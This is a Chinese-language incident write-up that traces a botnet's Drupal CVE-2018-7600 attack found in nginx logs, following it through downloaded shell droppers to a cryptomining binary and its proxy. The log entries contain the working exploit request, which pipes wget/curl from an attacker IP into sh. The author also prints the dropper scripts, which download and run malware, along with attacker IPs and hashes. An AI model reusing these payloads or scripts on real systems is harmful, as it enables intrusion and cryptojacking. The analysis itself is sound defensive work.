*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载
一、事件背景
在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。
来源IP | 时间 | 数据 |
---|---|---|
85.248.227.163 | 16/Oct/2018:13:14:41 +0800 | "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0" |
85.248.227.163 | 16/Oct/2018:13:14:41 +0800 | "GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 200 8517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0" |
85.248.227.163 | 16/Oct/2018:13:14:43 +0800 | "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" |
85.248.227.165 | 16/Oct/2018:13:14:47 +0800] | "GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 200 8517 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" |
经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。
https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup wget –O - http://164.132.159.56/drupal/up.sh|sh 2>&1&name[#type]=markup |
---|
https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh|sh 2>&1&name[#type]=markup |
乍一看,就是向服务器发送请求,利用web服务器上的一个漏洞,并要求服务器执行wget和curl命令去下载并执行up.sh脚本。可是我的服务器明明是windows操作系统,就算有漏洞触发了也不会执行该命令。因此,本次web攻击请求应该不是人工发出的(应该不会有这么蠢的黑客吧,也可能看web服务器是Ngix,就默认为类linux系统)。此外,通过网络搜索关键字,发现这段代码是Drupal远程代码执行漏洞(CVE-2018-7600)的利用方式。今年上半年,Drupal漏洞非常火爆,使得一拨又一拨的僵尸网络高潮迭起。由此可见,本次的web请求访问应该是僵尸病毒在自动化的扫描,利用Drupal漏洞进行攻击传播扩散。可是,这些病毒作者为什么就不能稍微花点功夫,先对目标网站软件环境进行判断,然后再实施下一步的实质攻击步骤呢?
尽管这次攻击没有对本地服务器产生任何危害。但是,既然不请自来,那就花点功夫研究一下吧。
1.下载脚本
直接访问http://164.132.159.56/drupal/up.sh下载up.sh,发现其内容如下:
#!/bin/sh
crontab-r;
id0="[[^$I$^]]"
id1="atnd"
ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $?-ne 0 ];then
wget -O- http://164.132.159.56/drupal/bups.sh|sh ; curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo"......."
fi
再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:
#!/bin/sh
id0="[[^$I$^]]"
id1="atnd"
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"
if [ $? -ne 0 ];then
if [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];then
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
wget -O /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
chmod 777 /var/tmp/atnd
/var/tmp/`echo $id1` &
else
rm -rf /tmp/.*
rm -rf /tmp/*
wget -O /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`
chmod 777 /tmp/atnd
/tmp/`echo $id1` &
fi
else
echo "Running....."
fi
上面脚本很简单,就是下载恶意软件并运行的过程。脚本首先判断是否存在名叫id0和id1的进程(如果存在说明目标系统已被感染,恶意软件已运行中)。接着判断/var/tmp目录是否存在并可执行可写,如能是,则把恶意软件下载放在该目录下,否则就放在/tmp/目录下。木马下载路径是http://164.132.159.56/drupal/2/ooo,存放在本地的名字是id1,也就是”atnd”。此外,id0参数只是简单调用了一下,说明此轮感染操作应该不是第一波,在此前的病毒传播阶段,攻击者下载恶意软件后本地保存的文件名是id0,也就是"[[^$I$^]]"。
手动访问下载ooo,其属性如下表所示。
属性 | 值 |
---|---|
大小 | 21176 |
MD5 | 7fdc31d7b9fafd2fbbb4da22b3cf56a2 |
SHA1 | 4e8bdca8d9a2eec23f17206af6e9f70daad29a25 |
2.构建环境
本地环境是Ubuntu16.04虚拟机。把ooo文件拷贝到虚拟机下/var/tmp/atnd,执行后,发现ubuntu系统退出登录,重新输入密码,一闪又回到登录界面。晕。
通过wireshark抓包,发现测试环境和80.240.26.52以及164.132.159.56两个IP发生如下的网络连接。
1.首先访问下载http://164.132.159.56/drupal/lu.sh文件,其内容如下。
lu.sh执行后会区访问下载bups.sh和bups.jpg,这两个文件的内容上一段已经介绍。
2.下载http://164.132.159.56/drupal/bups.sh
3.下载http:// 164.132.159.56/drupal/2/ooo
4.再次下载http:// 164.132.159.56/drupal/2/ooo
5.下载http:// 80.240.26.52/d/sss
6.下载http:// 80.240.26.52/d/lmmml
其中,步骤1-4下载的文件已经清晰,手动下载步骤5和步骤6的文件,下载后的文件信息如下表所示。
文件名 | 大小 | MD5 | SHA1 |
---|---|---|---|
sss | 16360 | 8a8ddce64e5dd6f5864da18d7899351c | edb7aac788cb25a2f36bd71244843a9289a97d4e |
lmmml | 719144 | 2e483fe7736634134b1b0d82828f2e53 | 583f5a66117f76a9dea389070ed0c8470e330e47 |
3.相关IP初步分析
1.攻击者来源IP
从Ngix日志提取的攻击者IP为85.248.227.163和85.248.227.165。
通过ip138查询,结果如下:
开放80和443端口,直接http方式访问,显示的页面如下图所示。咦,竟然是Tor节点,上面显示了服务器的性能。利用https访问,则没有显示页面。发现域名是Enn.lu。
在本地pingenn.lu解析结果如下:
正在Ping enn.lu [176.10.250.105] 具有 32 字节的数据:
来自176.10.250.105 的回复: 字节=32 时间=310ms TTL=47
来自176.10.250.105 的回复: 字节=32 时间=308ms TTL=47
来自176.10.250.105 的回复: 字节=32 时间=309ms TTL=47
来自 176.10.250.105 的回复: 字节=32 时间=308ms TTL=47
IP地址不一样,而且直接访问enn.lu网站都是直接跳转到https访问方式,其首页界面如下图所示。
看来很有可能是假冒页面。
直接在http://85.248.227.163查看其源代码,果不其然,该页面只是简单的链接到enn.lu网站。
此外,除了日志中发现的85.248.227.163和85.248.227.165地址外,还发现85.248.227.164地址与它们功能相同,三者网站页面都是假冒的Enn.lu域名,也就是说,攻击者至少拥有或控制这三个IP地址的主机。
2.http下载地址分析
所有的sh脚本都是通过访问164.132.159.56下载的。IP查询结果如下。
_______________________________________
您查询的IP:164.132.159.56
•本站数据:法国
•参考数据1:法国法国ovh.com
•参考数据2:意大利
•兼容IPv6地址:::A484:9F38
•映射IPv6地址:::FFFF:A484:9F38
________________________________________
直接用浏览器进行http访问,结果如下所示。
Not Found
The requested URL / was not found on this server.
________________________________________
Apache/2.4.18 (Ubuntu) Server at 164.132.159.56 Port 80
3.ooo通联地址
ooo程序运行后会访问下载80.240.26.52地址用于下载sss以及lmmml程序。对地址80.240.26.52的查询结果如下。
________________________________________
您查询的IP:80.240.26.52
本站数据:希腊
参考数据1:希腊希腊
参考数据2:希腊
兼容IPv6地址:::50F0:1A34
映射IPv6地址:::FFFF:50F0:1A34
________________________________________
直接浏览器访问后的结果如下:
403 Forbidden
________________________________________
nginx/1.10.3 (Ubuntu)
二、程序分析
1.ooo程序
1.循环kill进程
读取/proc/下的进程列表,如果进程PID<=1000则不处理,否则杀掉原来设定的病毒进程名字,比如atnd、[^$I$^]。代码如下图所示:
2.判读目录是否存在可写,下载相应文件到本地并执行:
3.网络下载的函数:
4.定时任务,如果有wget用wget下载命令,否则用curl下载命令。把下载命令用base64编码后,生成定时任务命令。
5.while循环操作,杀进程,下载执行、sleep:
2.lmmml程序
拷贝lmmml到桌面下,直接运行后,发现lmmml其实是一个挖矿程序。
1.进程改名
Lmmml运行后的进程改名为[^$I$^]。
2.矿池分析
它连接的矿池是:95.179.153.229:7777。
对其利用IDA反汇编可以看到,其连接的矿池地址有两个,分别是95.179.153.229的7777和80端口。如下图所示:
可是,网络抓包发现它登录的挖矿帐号和密码竟然都是设置成x,并没有发送实际的挖矿帐号,很奇怪。
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"http","algo":["cn","cn/2","cn/1","cn/0","cn/xtl","cn/msr","cn/xao","cn/rto"]}}
浏览器直接访问95.179.153.229的80端口和7777登录,发现返回字符串”Mining Proxy Online”。看来该台服务器是攻击者自架设的一个挖矿代理服务器。同时,在对lmmml静态反汇编分析的时候,发现与此前发现的挖矿代码不同,作者应该是自己重新修改编译了源代码,变化非常大,此前常见的静态字符串都做了处理。
结合挖矿的帐号设置成x,是否有可能是作者自己修改编译了mining-proxy的代码,把所有的被感染机器发送过来的账号x都在proxy端再进行重新设置,然后发送给实际的矿池,从而形成统一挖坑又保护自身挖坑账号的目的,不让分析的人员知道该账户的具体情况(比如实际收益情况等)。
三、结束语
通过上述简单分析,大致可以得出下列结论:
1.该次web服务器的网络异常请求访问应该是一次来自僵尸病毒的自动攻击行为;
2.该僵尸病毒利用Drupal漏洞进行传播;
3.该僵尸病毒已经实施了多波次的感染行动;
4.攻击者主要目的用于挖矿,可根据需要随时更换恶意代码功能文件。至于目前挖矿的账号用x是否如分析的一样有待商榷。
5.攻击者利用的资源比较分散,比如85.248.227.163/85.248.227.164/85.248.227.165三个IP地址用于伪造网站与实施Drupal漏洞攻击,164.132.159.56用于下载攻击脚本文件, 80.240.26.52用于病毒实体文件的下载。
*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载